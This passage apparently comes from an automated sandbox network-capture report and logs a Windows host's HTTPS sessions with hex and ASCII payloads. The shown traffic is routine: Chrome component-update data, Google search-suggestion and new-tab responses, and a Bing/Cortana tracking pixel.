t":{"version":"1.0.0.17","packages":{"package":[{"hash_sha256":"2638e3c2d1fa1d417bfdc31dd21bc938f106d3b436a6488b41b014ca9e2b7541","size":3145,"name":"1.0.0.17_llkgjffcdpffmhiakmfcdcblohccpfmo.crx","fp":"1.2638e3c2d1fa1d417bfdc31dd21bc938f106d3b436a6488b41
2024-10-23 22:27:42 UTC	1378	IN	Data Raw: 65 22 3a 31 35 34 35 33 32 2c 22 6e 61 6d 65 22 3a 22 65 66 6e 69 6f 6a 6c 6e 6a 6e 64 6d 63 62 69 69 65 65 67 6b 69 63 61 64 6e 6f 65 63 6a 6a 65 66 5f 31 31 30 38 5f 61 6c 6c 5f 61 64 71 72 35 63 35 75 6f 65 6f 7a 74 79 6b 6e 74 36 75 72 79 63 70 75 68 67 65 61 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 36 33 32 32 39 62 30 31 61 38 33 65 35 61 62 39 31 36 38 61 38 66 36 66 36 64 36 66 37 66 32 33 34 33 61 64 35 39 39 65 62 36 38 63 65 37 63 61 34 33 37 31 30 39 31 38 66 65 63 32 34 31 39 65 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 4b 56 51 79 45 66 72 7a 7a 61 45 71 70 71 34 38 76 4b 64 70 50 47 6b 32 53 5a 30 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 6a 66 6c 6f 6f 6b 67 6e 6b 63 63 Data Ascii: e":154532,"name":"efniojlnjndmcbiieegkicadnoecjjef_1108_all_adqr5c5uoeoztyknt6urycpuhgea.crx3","fp":"1.63229b01a83e5ab9168a8f6f6d6f7f2343ad599eb68ce7ca43710918fec2419e","required":true,"hash":"KVQyEfrzzaEqpq48vKdpPGk2SZ0\u003d"}]}}}},{"appid":"jflookgnkcc
2024-10-23 22:27:42 UTC	1268	IN	Data Raw: 70 70 69 64 22 3a 22 67 67 6b 6b 65 68 67 62 6e 66 6a 70 65 67 67 66 70 6c 65 65 61 6b 70 69 64 62 6b 69 62 62 6d 6e 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 75 74 39 2f 31 61 30 66 2f 32 63 39 39 2f 32 63 39 66 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 43 6f 6e 74 72 6f 6c 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 65 64 67 65 64 6c 2e 6d 65 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 70 32 7a 62 6b Data Ascii: ppid":"ggkkehgbnfjpeggfpleeakpidbkibbmn","cohort":"1:ut9/1a0f/2c99/2c9f:","status":"ok","cohortname":"Control","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/p2zbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49773	142.250.181.228	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:49 UTC	627	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 22:27:49 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:27:49 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fZS7sK9wpCuI86LgI_4y1g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-23 22:27:49 UTC	112	IN	Data Raw: 33 32 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 74 6f 64 61 79 22 2c 22 64 65 6e 6e 69 73 20 75 6e 69 66 6f 72 6d 73 20 73 68 75 74 20 64 6f 77 6e 22 2c 22 74 68 65 20 63 6f 6d 65 74 20 74 73 75 63 68 69 6e 73 68 61 6e 20 61 74 6c 61 73 22 2c 22 72 62 20 6c 65 69 70 7a 69 67 20 76 73 20 6c Data Ascii: 32c)]}'["",["final jeopardy today","dennis uniforms shut down","the comet tsuchinshan atlas","rb leipzig vs l
2024-10-23 22:27:49 UTC	707	IN	Data Raw: 69 76 65 72 70 6f 6f 6c 20 63 68 61 6d 70 69 6f 6e 73 20 6c 65 61 67 75 65 22 2c 22 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 20 6f 70 65 6e 20 62 65 74 61 20 74 65 73 74 22 2c 22 73 74 75 66 66 20 79 6f 75 72 20 6b 69 6e 64 6c 65 20 64 61 79 20 72 6f 6d 61 6e 63 65 20 62 6f 6f 6b 73 22 2c 22 63 61 70 69 74 61 6c 20 6f 6e 65 20 73 61 76 6f 72 6f 6e 65 22 2c 22 75 74 61 68 20 6a 61 7a 7a 20 6d 65 6d 70 68 69 73 20 67 72 69 7a 7a 6c 69 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 Data Ascii: iverpool champions league","monster hunter wilds open beta test","stuff your kindle day romance books","capital one savorone","utah jazz memphis grizzlies"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"C
2024-10-23 22:27:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49774	142.250.181.228	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:49 UTC	530	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 22:27:49 UTC	1042	IN	HTTP/1.1 200 OK Version: 688019786 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 23 Oct 2024 22:27:49 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-23 22:27:49 UTC	336	IN	Data Raw: 33 37 39 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 379f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700248,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfuncti
2024-10-23 22:27:49 UTC	1378	IN	Data Raw: 30 30 33 64 63 7c 7c 61 3b 69 66 28 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 5c 75 30 30 32 36 5c 75 30 30 32 36 62 29 72 65 74 75 72 6e 20 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 62 3f 5c 22 2e 5c 22 2b 62 3a 5c 22 5c 22 29 3b 69 66 28 62 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 7b 76 61 72 20 65 5c 75 30 30 33 64 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 62 29 3b 72 65 74 75 72 6e 20 65 7d 65 5c 75 30 30 33 64 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 3b 69 66 28 62 29 7b 76 61 72 20 66 5c 75 30 30 Data Ascii: 003dc\|\|a;if(a.querySelectorAll\u0026\u0026a.querySelector\u0026\u0026b)return a.querySelectorAll(b?\".\"+b:\"\");if(b\u0026\u0026a.getElementsByClassName){var e\u003da.getElementsByClassName(b);return e}e\u003da.getElementsByTagName(\"*\");if(b){var f\u00
2024-10-23 22:27:50 UTC	1378	IN	Data Raw: 69 6c 64 28 74 79 70 65 6f 66 20 67 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 67 29 3a 67 29 7d 66 6f 72 28 76 61 72 20 65 5c 75 30 30 33 64 32 3b 65 5c 75 30 30 33 63 63 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 66 5c 75 30 30 33 64 63 5b 65 5d 3b 21 5f 2e 70 65 28 66 29 7c 7c 5f 2e 51 62 28 66 29 5c 75 30 30 32 36 5c 75 30 30 32 36 66 2e 6e 6f 64 65 54 79 70 65 5c 75 30 30 33 65 30 3f 64 28 66 29 3a 5f 2e 6c 63 28 66 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 Data Ascii: ild(typeof g\u003d\u003d\u003d\"string\"?a.createTextNode(g):g)}for(var e\u003d2;e\u003cc.length;e++){var f\u003dc[e];!_.pe(f)\|\|_.Qb(f)\u0026\u0026f.nodeType\u003e0?d(f):_.lc(f\u0026\u0026typeof f.length\u003d\u003d\"number\"\u0026\u0026typeof f.item\u003

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49775	142.250.181.228	443	1364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:49 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 22:27:49 UTC	957	IN	HTTP/1.1 200 OK Version: 688019786 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 23 Oct 2024 22:27:49 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-23 22:27:49 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-23 22:27:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.16	49780	13.107.246.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:53 UTC	481	OUT	GET /apc/trans.gif?dc1aa3056d31478dcc0798188196ffde HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: t-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:27:53 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:27:53 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Fri, 11 Oct 2024 10:20:35 GMT Connection: close ETag: "6708fbf3-2b" x-azure-ref: 20241023T222753Z-r197bdfb6b4k6h5j1g5mvtmsmn0000000ba0000000000tkb X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-10-23 22:27:53 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.16	49781	150.171.69.254	443

Timestamp	Bytes transferred	Direction	Data
